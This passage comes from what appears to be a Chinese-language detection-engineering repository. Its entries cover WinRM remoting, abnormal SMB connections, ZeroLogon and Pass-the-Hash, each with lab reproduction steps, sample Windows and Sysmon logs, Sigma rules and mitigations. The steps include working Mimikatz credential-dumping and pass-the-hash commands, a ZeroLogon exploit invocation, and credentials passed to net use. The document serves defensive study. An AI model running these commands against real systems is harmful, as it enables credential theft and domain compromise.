Wireshark（捕获WinRM流量）。\n- **网络**：隔离网络环境，允许TCP 5985/5986流量。\n- **日志**：启用Windows安全日志、Sysmon日志和PowerShell日志。\n- **WinRM配置**：\n  - 确保WinRM服务启用：\n    ```powershell\n    Enable-PSRemoting -Force\n    ```\n  - 检查WinRM监听器：\n    ```powershell\n    winrm enumerate winrm/config/listener\n    ```\n\n### 攻击步骤\n1. **验证凭据**：\n   - 确保拥有目标系统的管理员凭据（如`WEIDONG\\Administrator:Password123`）。\n2. **建立远程PowerShell会话**：\n   ```powershell\n   Enter-PSSession -ComputerName 192.168.1.100 -Credential (Get-Credential)\n   ```\n   - 输入凭据后，进入远程会话。\n3. **执行测试命令**：\n   - 在远程会话中运行：\n     ```powershell\n     Get-Process\n     ```\n   - 或保存输出到文件：\n     ```powershell\n     Get-Process > C:\\Temp\\processes.txt\n     ```\n4. **验证结果**：\n   - 检查目标系统是否生成`C:\\Temp\\processes.txt`。\n   - 使用Wireshark捕获TCP 5985/5986流量。\n   - 验证Sysmon日志是否记录`wsmprovhost.exe`或`dllhost.exe`进程创建。\n5. **清理**：\n   - 删除生成的文件：\n     ```powershell\n     Remove-Item C:\\Temp\\processes.txt -ErrorAction Ignore\n     ```\n   - 退出会话：\n     ```powershell\n     Exit-PSSession\n     ```\n\n## 测试留痕\n以下为Windows安全日志示例（事件ID 4688，进程创建）：\n```yml\nEventID: 4688\nTimeCreated: 2025-06-08T04:50:23.456Z\nChannel: Security\nHostname: TARGET-SRV\nSubjectUserSid: S-1-5-21-1234567890-123456789-1234567890-500\nSubjectUserName: Administrator\nSubjectDomainName: WEIDONG\nSubjectLogonId: 0x3E7\nNewProcessId: 0x1a2c\nNewProcessName: C:\\Windows\\System32\\wsmprovhost.exe\nProcessCommandLine: C:\\Windows\\System32\\wsmprovhost.exe -Embedding\nCreatorProcessId: 0x4b0\nCreatorProcessName: C:\\Windows\\System32\\svchost.exe\nTokenElevationType: %%1936\n```\n\n以下为Sysmon日志示例（事件ID 1，进程创建）：\n```yml\nEventID: 1\nUtcTime: 2025-06-08T04:50:23.789Z\nProcessGuid: {4a363fee-27c2-623c-decd-3f0000000000}\nProcessId: 6704\nImage: C:\\Windows\\System32\\wsmprovhost.exe\nCommandLine: C:\\Windows\\System32\\wsmprovhost.exe -Embedding\nCurrentDirectory: C:\\Windows\\system32\\\nUser: WEIDONG\\Administrator\nLogonId: 0x3E7\nIntegrityLevel: High\nHashes: SHA1=A17C21B909C56D93D978014E63FB06926EAEA8E7\nParentProcessId: 1024\nParentImage: C:\\Windows\\System32\\svchost.exe\n```\n\n## 检测方法/思路\n\n### Sigma规则\n基于Sigma规则，检测远程PowerShell会话的活动：\n\n```yml\ntitle: Suspicious Remote PowerShell Session\nid: e8f9d7c6-7a5b-8c9d-0e1f-6a7b8c9d0e1f\nstatus: experimental\ndescription: Detects remote PowerShell sessions via WinRM involving wsmprovhost.exe or dllhost.exe\nreferences:\n- https://attack.mitre.org/techniques/T1021/006\n- https://www.cnblogs.com/gamewyd/p/6805595.html\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection1:\n    EventID: 4688\n    Image|endswith: '\\dllhost.exe'\n    ParentImage|endswith: '\\svchost.exe'\n  selection2:\n    EventID: 4688\n    Image|endswith: '\\wsmprovhost.exe'\n    ParentImage|endswith: '\\svchost.exe'\n    CommandLine|contains: '-Embedding'\n  timeframe: 2s\n  condition: selection1 or selection2\nfalsepositives:\n- Legitimate administrative use of PowerShell remoting\n- IT management scripts\nlevel: medium\n```\n\n### 检测思路\n1. **进程监控**：\n   - 检测`wsmprovhost.exe`或`dllhost.exe`进程创建，尤其是父进程为`svchost.exe`且命令行包含`-Embedding`。\n   - 监控异常父进程（如`powershell.exe`）调用WinRM相关进程。\n2. **网络监控**：\n   - 检测TCP 5985（HTTP）或5986（HTTPS）端口的WinRM流量。\n   - 检查流量是否涉及可疑源IP或目标IP。\n3. **PowerShell监控**：\n   - 检查PowerShell事件ID 4104，捕获`Enter-PSSession`或`Invoke-Command`的执行。\n4. **文件监控**：\n   - 检测远程会话生成的文件（如`C:\\Temp\\processes.txt`）。\n5. **行为基线**：\n   - 建立组织内WinRM和PowerShell的正常使用模式，识别异常行为（如夜间会话、非管理员用户）。\n\n### 检测建议\n- **Sysmon配置**：配置Sysmon监控进程创建（事件ID 1）、网络连接（事件ID 3）和文件操作（事件ID 11）。\n- **PowerShell日志**：启用PowerShell模块、脚本块和命令行日志，捕获`Enter-PSSession`相关活动。\n- **EDR监控**：使用EDR工具（如Microsoft Defender for Endpoint）检测WinRM相关进程和网络活动。\n- **误报过滤**：排除IT管理员的合法PowerShell远程操作，结合上下文（如用户身份、时间）降低误报率。\n\n## 缓解措施\n1. **WinRM限制**：\n   - 禁用不必要的WinRM服务：\n     ```powershell\n     Disable-PSRemoting -Force\n     ```\n   - 限制WinRM访问，仅允许特定用户或IP：\n     ```powershell\n     Set-PSSessionConfiguration -Name Microsoft.PowerShell -ShowSecurityDescriptorUI\n     ```\n2. **凭据保护**：\n   - 启用多因素认证（MFA）保护管理员账户。\n   - 限制NTLM认证，优先使用Kerberos。\n3. **网络限制**：\n   - 配置防火墙阻止未经授权的TCP 5985/5986流量。\n   - 使用网络分段隔离敏感系统。\n4. **PowerShell限制**：\n   - 配置PowerShell执行策略（如`ConstrainedLanguageMode`），限制未签名脚本。\n   - 使用AppLocker或WDAC限制`powershell.exe`执行。\n5. **监控与告警**：\n   - 部署IDS/IPS，检测异常WinRM流量。\n   - 配置SIEM实时告警远程PowerShell会话。\n\n## 参考推荐\n- MITRE ATT&CK T1021.006  \n  https://attack.mitre.org/techniques/T1021/006  \n- WinRM Service  \n  https://www.cnblogs.com/gamewyd/p/6805595.html\n"
  },
  {
    "path": "Windows/10横向移动/T1210-win-异常的SMB链接行为.md",
    "content": "# T1210-Win-异常的SMB链接行为\n\n## 描述\n\n攻击者在网络中建立立足点后，可能利用远程服务的漏洞（如服务器消息块协议，SMB）获得对内部系统的未授权访问。T1210技术涉及利用程序、服务或操作系统内核中的编程错误执行恶意代码，以实现横向移动或权限提升。攻击者可能通过网络服务扫描（如端口445的SMB扫描）识别易受攻击的系统，寻找已知漏洞（如EternalBlue）或弱配置。SMB（TCP 445）是Windows文件共享的常见协议，广泛用于访问共享资源（如`C$`、`ADMIN$`）。异常的SMB连接（如用户级进程发起的445端口连接）可能指示端口扫描、漏洞利用或横向移动行为。服务器和端点系统均可能成为目标，尤其是提供访问其他资源的系统。\n\n## 测试案例\n\n### 用例\n- **端口扫描**：攻击者使用工具（如Nmap）扫描网络中的SMB服务（TCP 445）。\n- **漏洞利用**：利用SMB漏洞（如MS17-010）在目标系统上执行代码。\n- **横向移动**：通过SMB访问`IPC$`共享，运行远程命令或上传恶意文件。\n- **异常连接**：非系统进程（如`dns.exe`）发起SMB连接，可能表示恶意行为。\n\n### 示例场景\n- 攻击者使用自定义工具发起TCP 445连接，尝试访问目标系统的`C$`共享。\n- 非内核进程（如`dns.exe`）建立出站SMB连接，可能是恶意软件或横向移动的迹象。\n\n### 路径\n- SMB共享路径：\n  ```yml\n  - \\\\<target_hostname>\\C$\n  - \\\\<target_hostname>\\ADMIN$\n  - \\\\<target_hostname>\\IPC$\n  ```\n\n### 所需权限\n- 有效凭据（域或本地账户，访问共享）。\n- 无需凭据（某些漏洞利用，如EternalBlue）。\n- 网络访问权限（TCP 445）。\n\n### 操作系统\n- Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。\n\n## 检测日志\n\n### Windows安全日志\n- **事件ID 5156**：记录Windows筛选平台（WFP）允许的网络连接（如TCP 445）。\n- **事件ID 5140**：记录网络共享访问（如`C$`、`IPC$`）。\n- **事件ID 4624**：记录SMB会话的网络登录（Logon Type 3）。\n- **事件ID 4688**：记录发起SMB连接的进程创建（需启用命令行审核）。\n\n### Sysmon日志\n- **事件ID 3**：记录TCP 445的网络连接（源IP、目标IP、进程）。\n- **事件ID 1**：捕获发起SMB连接的进程创建及命令行参数。\n- **事件ID 11**：记录共享中文件的创建或修改。\n\n### 网络日志\n- 捕获TCP 445端口的Netflow或PCAP数据，记录SMB流量。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows Server 2016或Windows 10/11（已启用SMB）。\n- **攻击机**：Kali Linux或其他支持SMB测试工具的系统。\n- **权限**：有效凭据或无需凭据（漏洞利用）。\n- **工具**：\n  - Nmap（扫描TCP 445）。\n  - Metasploit（SMB漏洞利用，如MS17-010）。\n  - `net.exe`（测试SMB共享访问）。\n  - Sysmon（监控进程和网络活动）。\n  - Wireshark（捕获SMB流量）。\n- **网络**：隔离网络环境，允许TCP 445流量。\n- **日志**：启用Windows安全日志（事件ID 5156）、Sysmon日志和Netflow日志。\n\n### 攻击步骤\n1. **扫描SMB服务**：\n   ```bash\n   nmap -p 445 192.168.1.100\n   ```\n   - 确认目标系统开放TCP 445端口。\n2. **尝试SMB连接**：\n   ```bash\n   net use \\\\192.168.1.100\\IPC$ /user:WEIDONG\\Administrator Password123\n   ```\n   - 建立`IPC$`共享连接。\n3. **模拟异常进程连接**：\n   - 使用自定义脚本（如Python）模拟非系统进程发起SMB连接：\n     ```python\n     from smb.SMBConnection import SMBConnection\n     conn = SMBConnection(\"Administrator\", \"Password123\", \"ATTACKER\", \"TARGET\", domain=\"WEIDONG\")\n     conn.connect(\"192.168.1.100\", 445)\n     ```\n4. **验证结果**：\n   - 检查Windows安全日志，确认事件ID 5156（TCP 445连接）。\n   - 使用Wireshark捕获TCP 445流量。\n   - 验证Sysmon日志是否记录非系统进程（如`python.exe`）的网络连接。\n5. **清理**：\n   - 断开SMB连接：\n     ```bash\n     net use \\\\192.168.1.100\\IPC$ /delete\n     ```\n\n## 测试留痕\n以下为Windows安全日志示例（事件ID 5156，网络连接）：\n```yml\nEventID: 5156\nTimeCreated: 2025-06-08T05:30:23.456Z\nChannel: Security\nHostname: TARGET-SRV\nProcessId: 1752\nApplication: \\device\\harddiskvolume1\\windows\\system32\\dns.exe\nDirection: Outbound\nSourceAddress: 10.45.45.103\nSourcePort: 50146\nDestinationAddress: 10.45.45.104\nDestinationPort: 445\nProtocol: 6\nFilterRunTimeId: 5\nLayerName: Connect\nLayerRunTimeId: 48\n```\n\n以下为Sysmon日志示例（事件ID 3，网络连接）：\n```yml\nEventID: 3\nUtcTime: 2025-06-08T05:30:23.789Z\nProcessGuid: {4a363fee-27c2-623c-decd-3f0000000000}\nProcessId: 1752\nImage: C:\\Windows\\System32\\dns.exe\nUser: NT AUTHORITY\\SYSTEM\nProtocol: tcp\nSourceIp: 10.45.45.103\nSourcePort: 50146\nDestinationIp: 10.45.45.104\nDestinationPort: 445\n```\n\n## 检测方法/思路\n\n### Sigma规则\n基于Sigma规则，检测异常的SMB连接行为：\n\n```yml\ntitle: Suspicious SMB Connection Behavior\nid: a7b8c9d6-9a5b-0c8d-1e2f-8a6b7c8d9e3f\nstatus: experimental\ndescription: Detects abnormal SMB connections on port 445 by non-system processes\nreferences:\n- https://attack.mitre.org/techniques/T1210\n- https://www.elastic.co/guide/en/siem/guide/current/direct-outbound-smb-connection.html\n- https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=5156\nlogsource:\n  product: windows\n  category: network_connection\ndetection:\n  selection:\n    EventID: 5156\n    DestinationPort: 445\n  filter:\n    DestinationAddress:\n      - 127.0.0.1\n      - ::1\n    ProcessId: 4  # System process\n  condition: selection and not filter\nfalsepositives:\n- Legitimate SMB connections by administrative tools\n- File sharing or backup processes\nlevel: medium\n```\n\n### Elastic Rule Query\n```yml\nevent.action:\"Network connection detected (rule: NetworkConnect)\" and\ndestination.port:445 and not process.pid:4 and not\ndestination.ip:(127.0.0.1 or \"::1\")\n```\n\n### 检测思路\n1. **网络连接监控**：\n   - 检测TCP 445端口的出站或入站连接，尤其是非系统进程（如`dns.exe`、`python.exe`）发起的连接。\n   - 排除本地回环地址（127.0.0.1、::1）和系统进程（PID 4）。\n2. **进程监控**：\n   - 检测发起SMB连接的异常进程，关注非典型应用（如浏览器、脚本解释器）。\n   - 检查事件ID 4688，捕获进程的命令行参数。\n3. **共享访问监控**：\n   - 检测`C$`、`ADMIN$`或`IPC$`共享的访问（事件ID 5140）。\n4. **行为基线**：\n   - 建立组织内SMB连接的正常模式，识别异常行为（如夜间连接、未知源IP）。\n5. **漏洞扫描检测**：\n   - 监控TCP 445的频繁扫描行为，可能指示攻击者寻找易受攻击的系统。\n\n### 检测建议\n- **Sysmon配置**：配置Sysmon监控网络连接（事件ID 3）、进程创建（事件ID 1）和共享访问（事件ID 11）。\n- **日志配置**：启用Windows安全日志的网络连接审核（事件ID 5156）。\n- **EDR监控**：使用EDR工具（如Microsoft Defender for Endpoint）检测异常SMB连接和进程行为。\n- **误报过滤**：排除合法文件共享、备份工具或管理员操作，结合上下文（如进程、IP）降低误报率。\n\n## 缓解措施\n1. **补丁管理**：\n   - 应用SMB相关漏洞补丁（如MS17-010）。\n   - 定期更新Windows系统，防止已知漏洞利用。\n2. **网络限制**：\n   - 配置防火墙阻止未经授权的TCP 445流量。\n   - 使用网络分段隔离敏感系统，减少SMB暴露面。\n3. **共享访问控制**：\n   - 禁用不必要的管理员共享：\n     ```bash\n     reg add \"HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters\" /v AutoShareServer /t REG_DWORD /d 0 /f\n     ```\n   - 限制对`C$`、`ADMIN$`和`IPC$`的访问。\n4. **凭据保护**：\n   - 启用多因素认证（MFA）保护管理员账户。\n   - 限制NTLM认证，优先使用Kerberos。\n5. **监控与告警**：\n   - 部署IDS/IPS，检测异常SMB流量或扫描行为。\n   - 配置SIEM实时告警非系统进程的SMB连接。\n\n## 参考推荐\n- MITRE ATT&CK T1210  \n  https://attack.mitre.org/techniques/T1210  \n- Elastic SMB连接检测  \n  https://www.elastic.co/guide/en/siem/guide/current/direct-outbound-smb-connection.html  \n- Windows事件ID 5156  \n  https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=5156  \n- 删除/切换Samba共享连接  \n  https://blog.csdn.net/u013038461/article/details/39934061\n"
  },
  {
    "path": "Windows/10横向移动/T1210-win-检测到匿名计算机账户更改的使用.md",
    "content": "# T1210-Win-检测到匿名计算机账户更改的使用\n\n## 描述\n\n攻击者可能利用远程服务的漏洞（如SMB、RDP或Netlogon）获得对内部系统的未授权访问。T1210技术涉及利用程序、服务或操作系统内核中的编程错误执行恶意代码，通常用于横向移动以访问其他系统。攻击者可能通过网络服务扫描（如扫描SMB、RDP或Netlogon漏洞）识别易受攻击的系统。其中，CVE-2020-1472（ZeroLogon）是一个典型漏洞，允许攻击者通过匿名账户（如`ANONYMOUS LOGON`）修改计算机账户属性（如密码），进而控制域控制器。服务器和端点系统均可能成为目标，尤其是提供访问其他资源的端点系统。\n\n## 测试案例\n\n### 用例\n- **ZeroLogon利用**：攻击者利用CVE-2020-1472，通过匿名账户重置域控制器计算机账户密码，获得域管理员权限。\n- **横向移动**：利用匿名账户访问SMB共享（如`C$`）或通过RDP登录。\n- **权限提升**：通过修改计算机账户属性，结合其他技术（如传递哈希）实现特权升级。\n\n### 示例场景\n- 攻击者使用ZeroLogon漏洞，通过Netlogon协议以`ANONYMOUS LOGON`身份修改域控制器计算机账户密码，随后通过SMB或RDP访问目标系统。\n- 结合有效凭据，利用修改后的计算机账户执行远程命令或提取数据。\n\n### 路径\n- Netlogon相关路径：\n  ```yml\n  - \\\\<target_hostname>\\NETLOGON\n  - \\\\<target_hostname>\\SYSVOL\n  ```\n\n### 所需权限\n- 无需凭据（匿名账户，`ANONYMOUS LOGON`）。\n- 网络访问权限（访问Netlogon服务，通常TCP 445）。\n\n### 操作系统\n- Windows Server 2008、2012、2016、2019（未修补CVE-2020-1472的版本）。\n- Windows 7、8、8.1、10、11（端点系统可能间接受影响）。\n\n## 检测日志\n\n### Windows安全日志\n- **事件ID 4742**：记录计算机账户更改（如密码重置）。\n- **事件ID 4624**：记录匿名账户登录（`ANONYMOUS LOGON`，Logon Type 3）。\n- **事件ID 4672**：记录分配给新登录的安全特权（如域管理员权限）。\n\n### Sysmon日志\n- **事件ID 1**：捕获相关进程（如`lsass.exe`）创建或异常命令行。\n- **事件ID 3**：记录Netlogon相关的网络连接（TCP 445）。\n- **事件ID 13**：记录计算机账户相关的注册表修改。\n\n### 网络日志\n- 捕获TCP 445端口的Netlogon流量，关注`ANONYMOUS LOGON`认证。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows Server 2016（未修补CVE-2020-1472）作为域控制器。\n- **攻击机**：Kali Linux或其他支持ZeroLogon利用工具的系统。\n- **权限**：无需凭据（匿名访问）。\n- **工具**：\n  - ZeroLogon利用脚本（如https://github.com/risksense/zerologon）。\n  - Sysmon（监控进程和网络活动）。\n  - Wireshark（捕获Netlogon流量）。\n- **网络**：隔离网络环境，允许TCP 445流量。\n- **日志**：启用Windows安全日志（需启用“审核计算机帐户管理”策略）、Sysmon日志和网络日志。\n\n### 攻击步骤\n1. **验证环境**：\n   - 确认靶机为未修补的Windows Server（CVE-2020-1472易受攻击）。\n   - 获取域控制器主机名（如`DC01`）和IP（如`192.168.1.100`）。\n2. **运行ZeroLogon利用**：\n   ```bash\n   python3 zerologon.py DC01 192.168.1.100\n   ```\n   - 工具会尝试以`ANONYMOUS LOGON`身份重置计算机账户密码。\n3. **验证结果**：\n   - 检查Windows安全日志，确认事件ID 4742（计算机账户更改）和4624（匿名登录）。\n   - 使用Wireshark捕获TCP 445流量，验证Netlogon协议活动。\n   - 尝试使用重置的密码登录域控制器（如通过`psexec`）。\n4. **清理**：\n   - 恢复域控制器计算机账户密码（需手动或通过备份）。\n   - 应用CVE-2020-1472补丁（KB4577051）。\n\n### 注意事项\n- 测试需在合法授权的隔离环境中进行，避免对生产环境造成破坏。\n- ZeroLogon利用可能导致域控制器账户不可用，需准备恢复机制。\n\n## 测试留痕\n以下为Windows安全日志示例（事件ID 4742，计算机账户更改）：\n```yml\nEventID: 4742\nTimeCreated: 2025-06-08T05:10:23.456Z\nChannel: Security\nHostname: DC01\nSubjectUserSid: S-1-5-21-3108364787-189202583-342365621-500\nSubjectUserName: Administrator\nSubjectDomainName: ACME\nSubjectLogonId: 0x27a79\nTargetUserSid: S-1-5-21-3108364787-189202583-342365621-1109\nTargetUserName: WS2321$\nTargetDomainName: ACME\nUserAccountControl: Account Enabled\nOldUACValue: 0x85\nNewUACValue: 0x84\n```\n\n以下为Windows安全日志示例（事件ID 4624，匿名登录）：\n```yml\nEventID: 4624\nTimeCreated: 2025-06-08T05:10:23.789Z\nChannel: Security\nHostname: DESKTOP-LLHJ389\nSubjectUserSid: S-1-5-18\nSubjectUserName: DESKTOP-LLHJ389$\nSubjectDomainName: WORKGROUP\nSubjectLogonId: 0x3E7\nLogonType: 3\nNewLogonUserSid: S-1-5-7\nNewLogonUserName: ANONYMOUS LOGON\nNewLogonDomain: NT AUTHORITY\nLogonProcess: Negotiat\nAuthenticationPackage: Negotiate\nProcessId: 0x30c\nProcessName: C:\\Windows\\System32\\lsass.exe\n```\n\n## 检测方法/思路\n\n### Sigma规则\n基于Sigma规则，检测匿名账户更改计算机账户的行为：\n\n```yml\ntitle: Suspicious Anonymous Computer Account Change\nid: f9e8d7c6-8a5b-9c8d-0e1f-7a6b8c9d0e2f\nstatus: experimental\ndescription: Detects anonymous account usage for computer account changes via Windows security logs\nreferences:\n- https://attack.mitre.org/techniques/T1210\n- https://github.com/splunk/security_content/blob/develop/detections/endpoint/detect_computer_changed_with_anonymous_account.yml\n- https://www.lares.com/blog/from-lares-labs-defensive-guidance-for-zerologon-cve-2020-1472/\nlogsource:\n  product: windows\n  category: security\ndetection:\n  selection:\n    EventID:\n      - 4742\n      - 4624\n    TargetUserName|contains: '$'  # 计算机账户以$结尾\n    NewLogonUserName: ANONYMOUS LOGON\n    LogonType: 3\n  condition: selection\nfalsepositives:\n- Legitimate administrative actions using anonymous logon\n- Certain system processes in specific configurations\nlevel: medium\n```\n\n### 检测思路\n1. **计算机账户监控**：\n   - 检测事件ID 4742，关注计算机账户（如以`$`结尾）的更改，尤其是涉及`ANONYMOUS LOGON`。\n2. **登录事件监控**：\n   - 检测事件ID 4624（Logon Type 3），确认`ANONYMOUS LOGON`的网络登录。\n3. **网络监控**：\n   - 检测TCP 445端口的Netlogon流量，关注匿名认证。\n4. **进程监控**：\n   - 检测`lsass.exe`的异常活动，可能涉及Netlogon认证。\n5. **行为基线**：\n   - 建立组织内计算机账户更改和匿名登录的正常模式，识别异常行为（如夜间操作、非预期IP）。\n\n### 检测建议\n- **日志配置**：启用“审核计算机帐户管理”策略，生成事件ID 4742。\n- **Sysmon配置**：配置Sysmon监控进程创建（事件ID 1）、网络连接（事件ID 3）和注册表修改（事件ID 13）。\n- **EDR监控**：使用EDR工具（如Microsoft Defender for Endpoint）检测匿名登录和计算机账户更改。\n- **误报过滤**：排除合法系统进程或管理员操作，结合上下文（如IP、时间）降低误报率。\n\n## 缓解措施\n1. **补丁管理**：\n   - 应用CVE-2020-1472补丁（KB4577051）修复ZeroLogon漏洞。\n   - 定期更新Windows系统，防止其他Netlogon漏洞。\n2. **凭据保护**：\n   - 限制匿名访问Netlogon服务：\n     ```powershell\n     Set-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters\" -Name \"RestrictAnonymous\" -Value 2\n     ```\n   - 启用Kerberos认证，禁用NTLM。\n3. **网络限制**：\n   - 配置防火墙阻止未经授权的TCP 445流量。\n   - 使用网络分段隔离域控制器。\n4. **监控与告警**：\n   - 部署IDS/IPS，检测异常Netlogon流量。\n   - 配置SIEM实时告警匿名登录和计算机账户更改。\n5. **账户管理**：\n   - 定期审查域控制器计算机账户状态，检测异常更改。\n\n## 参考推荐\n- MITRE ATT&CK T1210  \n  https://attack.mitre.org/techniques/T1210  \n- Splunk检测规则  \n  https://github.com/splunk/security_content/blob/develop/detections/endpoint/detect_computer_changed_with_anonymous_account.yml  \n- ZeroLogon防御指南  \n  https://www.lares.com/blog/from-lares-labs-defensive-guidance-for-zerologon-cve-2020-1472/\n"
  },
  {
    "path": "Windows/10横向移动/T1550.002-Win-哈希传递.md",
    "content": "# T1550.002-Win-哈希传递\n\n## 描述\n\n攻击者可能通过“传递哈希”（Pass-the-Hash, PtH）技术使用窃取的NTLM密码哈希进行身份验证，绕过明文密码要求，从而在网络环境中横向移动。PtH利用系统存储的密码哈希（而非明文密码）进行NTLM认证，允许攻击者以目标用户身份访问本地或远程系统（如通过SMB、RDP）。攻击者通常通过凭据访问技术（如Mimikatz从内存中提取哈希）获取有效哈希，随后使用工具（如Mimikatz、PsExec）进行身份验证和操作。Windows 7及更高版本（安装KB2871997后）要求域用户凭据或RID 500管理员哈希，增加了攻击难度，但未完全阻止PtH。\n\n## 测试案例\n\n### 用例\n- **横向移动**：使用窃取的NTLM哈希通过SMB访问远程系统的`C$`共享。\n- **权限提升**：利用域管理员哈希访问域控制器，执行特权操作。\n- **远程执行**：通过PtH结合PsExec或WMI在远程系统上运行命令。\n- **数据窃取**：通过PtH访问共享文件夹，提取敏感文件。\n\n### 示例场景\n- 攻击者使用Mimikatz从本地系统提取管理员NTLM哈希，通过PtH登录域控制器，执行命令或上传恶意文件。\n- 结合SMB共享，上传Payload并通过PsExec执行。\n\n### 路径\n- 常用工具路径：\n  ```yml\n  - C:\\Windows\\System32\\lsass.exe (哈希提取相关进程)\n  - C:\\Temp\\mimikatz.exe (攻击者部署的Mimikatz)\n  ```\n\n### 所需权限\n- 本地管理员权限（提取NTLM哈希）。\n- 有效NTLM哈希（域或本地账户）。\n\n### 操作系统\n- Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。\n\n## 检测日志\n\n### Windows安全日志\n- **事件ID 4624**：记录成功登录（Logon Type 3，网络登录，PtH成功）。\n- **事件ID 4625**：记录登录失败（可能因无效哈希或配置限制）。\n- **事件ID 4672**：记录分配给新登录的安全特权（如管理员权限）。\n\n### Sysmon日志\n- **事件ID 1**：捕获Mimikatz或其他工具的进程创建（如`mimikatz.exe`）。\n- **事件ID 3**：记录PtH相关的网络连接（TCP 445、3389）。\n- **事件ID 10**：记录进程访问（如Mimikatz访问`lsass.exe`）。\n\n### 网络日志\n- 捕获TCP 445（SMB）或3389（RDP）流量，关注NTLM认证。\n\n## 测试复现\n\n### 环境准备\n- **域控制器（DC）**：Windows Server 2008 R2。\n- **靶机（PC1）**：Windows Server 2008 R2（目标主机）。\n- **攻击机（PC2）**：Windows 7。\n- **权限**：本地或域管理员权限（提取哈希）。\n- **工具**：\n  - Mimikatz（https://github.com/gentilkiwi/mimikatz）。\n  - Sysmon（监控进程和网络活动）。\n  - Wireshark（捕获网络流量）。\n- **网络**：隔离网络环境，允许TCP 445流量。\n- **日志**：启用Windows安全日志（事件ID 4624、4625）、Sysmon日志和网络日志。\n\n### 攻击步骤\n1. **提取NTLM哈希**：\n   - 在攻击机（PC2）以管理员权限运行Mimikatz：\n     ```bash\n     mimikatz.exe \"privilege::debug\" \"sekurlsa::logonpasswords\" exit\n     ```\n   - 获取目标账户（如`xiaomi.org\\Administrator`）的NTLM哈希，例如：\n     ```plaintext\n     NTLM: 762c6fa6a9adb2f5ff215484bd8296b7\n     ```\n2. **执行PtH攻击**：\n   - 使用Mimikatz进行哈希传递：\n     ```bash\n     mimikatz.exe \"privilege::debug\" \"sekurlsa::pth /user:Administrator /domain:xiaomi.org /ntlm:762c6fa6a9adb2f5ff215484bd8296b7\" exit\n     ```\n   - 成功后，Mimikatz将启动一个新进程（如`cmd.exe`），使用提供的哈希进行认证。\n3. **验证访问**：\n   - 使用新进程访问目标主机（PC1）：\n     ```bash\n     net use \\\\192.168.66.100\\IPC$\n     dir \\\\192.168.66.100\\C$\n     ```\n   - 或通过RDP登录：\n     ```bash\n     mstsc /v:192.168.66.100\n     ```\n4. **验证结果**：\n   - 检查PC1的安全日志，确认事件ID 4624（成功登录）或4625（失败登录）。\n   - 使用Wireshark捕获TCP 445流量，验证NTLM认证。\n   - 验证Sysmon日志是否记录Mimikatz进程和网络连接。\n5. **清理**：\n   - 断开SMB连接：\n     ```bash\n     net use \\\\192.168.66.100\\IPC$ /delete\n     ```\n   - 删除Mimikatz：\n     ```bash\n     del C:\\Temp\\mimikatz.exe\n     ```\n\n## 测试留痕\n以下为目标主机（PC1）安全日志示例（事件ID 4624，PtH成功）：\n```yml\nEventID: 4624\nTimeCreated: 2025-06-08T05:45:23.456Z\nChannel: Security\nHostname: PC1\nSubjectUserSid: S-1-5-7\nSubjectUserName: -\nSubjectDomainName: -\nSubjectLogonId: 0x0\nLogonType: 3\nNewLogonUserSid: S-1-5-21-3576461989-1381017913-248049510-500\nNewLogonUserName: Administrator\nNewLogonDomain: XIAOMI\nLogonId: 0xF86B9\nLogonProcess: NtLmSsp\nAuthenticationPackage: NTLM\nWorkstationName: 12306BR0-PC\nSourceNetworkAddress: 192.168.66.88\nSourcePort: 49251\nKeyLength: 128\n```\n\n以下为目标主机（PC1）安全日志示例（事件ID 4625，PtH失败）：\n```yml\nEventID: 4625\nTimeCreated: 2025-06-08T05:45:24.789Z\nChannel: Security\nHostname: PC1\nSubjectUserSid: S-1-5-7\nSubjectUserName: administrator\nSubjectDomainName: xiaomi.org\nLogonType: 3\nFailureReason: Unknown user name or bad password\nStatus: 0xC000006D\nSubStatus: 0xC000006A\nLogonProcess: NtLmSsp\nAuthenticationPackage: NTLM\nWorkstationName: 12306BR0-PC\nSourceNetworkAddress: 192.168.66.88\nSourcePort: 49253\nKeyLength: 0\n```\n\n以下为攻击机（PC2）安全日志示例（事件ID 4624，Mimikatz会话）：\n```yml\nEventID: 4624\nTimeCreated: 2025-06-08T05:45:23.123Z\nChannel: Security\nHostname: 12306BR0-PC\nSubjectUserSid: S-1-5-21-3579006141-3881886638-2121494774-1000\nSubjectUserName: 12306Br0\nSubjectDomainName: 12306BR0-PC\nSubjectLogonId: 0x1AB7F9\nLogonType: 9\nNewLogonUserSid: S-1-5-21-3579006141-3881886638-2121494774-1000\nNewLogonUserName: 12306Br0\nNewLogonDomain: 12306BR0-PC\nLogonId: 0x234995\nLogonProcess: seclogo\nAuthenticationPackage: Negotiate\nProcessId: 0x398\nProcessName: C:\\Windows\\System32\\svchost.exe\nSourceNetworkAddress: ::1\nSourcePort: 0\n```\n\n## 检测方法/思路\n\n### Sigma规则\n#### 目标主机（PC1）\n```yml\ntitle: Pass the Hash Activity (Target Host)\nid: f8d98d6c-7a07-4d74-b064-dd4a3c244528\nstatus: experimental\ndescription: Detects Pass-the-Hash activity on target host using NTLM authentication\nreferences:\n- https://attack.mitre.org/techniques/T1550/002\n- https://github.com/iadgov/Event-Forwarding-Guidance/tree/master/Events\nlogsource:\n  product: windows\n  category: security\ndetection:\n  selection:\n    EventID:\n      - 4624\n      - 4625\n    LogonType: '3'\n    LogonProcessName: 'NtLmSsp'\n    WorkstationName|contains: '%Workstations%'\n    ComputerName|contains: '%Workstations%'\n  filter:\n    NewLogonUserName: 'ANONYMOUS LOGON'\n  condition: selection and not filter\nfalsepositives:\n- Legitimate administrative NTLM authentication\n- Penetration testing\nlevel: medium\n```\n\n#### 攻击机（PC2）\n```yml\ntitle: Pass the Hash Activity (Attack Host)\nid: 8eef149c-bd26-49f2-9e5a-9b00e3af499b\nstatus: experimental\ndescription: Detects Pass-the-Hash activity initiated from attack host\nreferences:\n- https://attack.mitre.org/techniques/T1550/002\n- https://github.com/iadgov/Event-Forwarding-Guidance/tree/master/Events\n- 